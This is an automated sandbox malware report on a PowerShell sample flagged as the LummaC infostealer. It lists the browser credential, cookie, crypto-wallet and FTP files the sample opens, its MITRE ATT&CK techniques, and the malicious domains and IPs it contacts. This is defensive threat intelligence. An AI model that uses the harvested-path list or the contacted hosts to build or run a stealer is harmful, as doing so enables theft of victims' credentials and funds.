Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	2 OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	221 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	221 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
lumma.ps1	5%	ReversingLabs
lumma.ps1	3%	Virustotal		Browse

Source	Detection	Scanner	Label
https://cdn1.klipbazyxui.shop	0%	Avira URL Cloud	safe
https://cdn1.klipbazyxui.shop/singl5.csx	0%	Avira URL Cloud	safe
https://advicebedsu.click:443/api	0%	Avira URL Cloud	safe
http://www.microsoft.co-	0%	Avira URL Cloud	safe
http://www.microsoft.$	0%	Avira URL Cloud	safe
https://advicebedsu.click/api	0%	Avira URL Cloud	safe
https://advicebedsu.click/XUr	0%	Avira URL Cloud	safe
https://advicebedsu.click/api8	0%	Avira URL Cloud	safe
https://advicebedsu.click:443/apiz	0%	Avira URL Cloud	safe
https://advicebedsu.click/pi	0%	Avira URL Cloud	safe
https://advicebedsu.click/	0%	Avira URL Cloud	safe
advicebedsu.click	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn1.klipbazyxui.shop	104.21.72.190	true	true		unknown
advicebedsu.click	104.21.84.241	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	false		high
https://cdn1.klipbazyxui.shop/singl5.csx	true	Avira URL Cloud: safe	unknown
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
https://advicebedsu.click/api	true	Avira URL Cloud: safe	unknown
prisonyfork.buzz	false		high
hummskitnj.buzz	false		high
advicebedsu.click	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1807008792.0000016DE0804000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1807008792.0000016DE0947000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn1.klipbazyxui.shop	powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2616078952.0000000007180000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2616078952.0000000007180000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://advicebedsu.click:443/api	powershell.exe, 00000008.00000002.2633114961.0000000003072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2616078952.0000000007180000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://advicebedsu.click/XUr	powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://advicebedsu.click/pi	powershell.exe, 00000008.00000002.2633114961.0000000003066000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co-	powershell.exe, 00000000.00000002.1812415946.0000016DE89F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://advicebedsu.click:443/apiz	powershell.exe, 00000008.00000002.2633114961.0000000003072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://aka.ms/pscore6lBfq	powershell.exe, 00000002.00000002.2537626425.0000000004A11000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1807008792.0000016DE0804000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1807008792.0000016DE0947000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://advicebedsu.click/api8	powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1782702388.0000016DD0791000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.$	powershell.exe, 00000000.00000002.1811314226.0000016DE8922000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1782702388.0000016DD0791000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2537626425.0000000004A11000.00000004.00000800.00020000.00000000.sdmp	false		high
https://advicebedsu.click/	powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.84.241	advicebedsu.click	United States		13335	CLOUDFLARENETUS	true
104.21.72.190	cdn1.klipbazyxui.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582291
Start date and time:	2024-12-30 09:17:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
